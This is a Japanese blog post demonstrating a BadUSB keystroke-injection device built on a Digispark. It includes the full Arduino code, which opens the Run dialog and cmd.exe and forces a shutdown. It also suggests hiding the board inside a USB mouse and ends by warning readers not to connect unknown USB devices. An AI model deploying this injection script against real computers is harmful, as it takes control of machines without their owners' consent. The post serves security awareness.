見慣れないUSB機器をパソコンにつないじゃダメだってばっちゃが言ってた

物理エスケープキーを作っていて

前回POSTの物理エスケープキーを作っていて思ったこと。
普通のHIDデバイスとして認識するんだから、簡単なセキュリティ対策ソフトだと、これ接続できるよなあ。。。と。

試しに作った

動画で見るのがわかりやすいかと


Digispark KeyInput and Shutdown Laptop Demo

なにをしているか

単純に、キーコードを送っているだけです。 [Win]+[R]を送り、[cmd.exe]とタイプして[Enter]、 DOSコマンドのシャットダウンを送っています。 あえてnotepadを開いたりしていますけども、それはデモとして。

コード

#include "DigiKeyboard.h"

void setup() {

  pinMode(1,OUTPUT);
  

}

void loop() {

  delay(1000);

  digitalWrite(1,HIGH);delay(250);
  digitalWrite(1,LOW);delay(250);
  digitalWrite(1,HIGH);delay(250);
  digitalWrite(1,LOW);delay(250);
  digitalWrite(1,HIGH);delay(250);
  digitalWrite(1,LOW);delay(250);
  digitalWrite(1,HIGH);delay(250);
  digitalWrite(1,LOW);delay(250);
  

  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  delay(200);

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(400);
  DigiKeyboard.println("notepad.exe");
  delay(400);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(1800);

  DigiKeyboard.println("Have a Nice Day! XAXA!");
  delay(4000);

  DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
  delay(400);
  DigiKeyboard.sendKeyStroke(KEY_N,MOD_ALT_LEFT);
  delay(400);

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(400);
  DigiKeyboard.println("cmd.exe");
  delay(400);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(1800);

  DigiKeyboard.println("shutdown -s -t 5");
  delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(200);

  delay(100000);

}

200円でできる嫌がらせ

セキュリティ対策ソフトでUSB機器をブロックしてる企業も多いですけど、未知のストレージデバイスやイメージングデバイスだけ警告して、HIDデバイスとかは警告してくれないやつもありますしね。汎用ドライバーで動くUSBキーボードを果たしてブロックしてくれるんだろかな、と。そもそもコイツ、BIOSの段階で認識するしね。
これ、まだ剥き身なのでわかりやすいんですが、USBマウスとかの中に仕込んだら、ぱっと見わかんないですよね。

なので

未知のUSBデバイスを道ばたで拾っても、自分のパソコンには接続しないようにしましょう。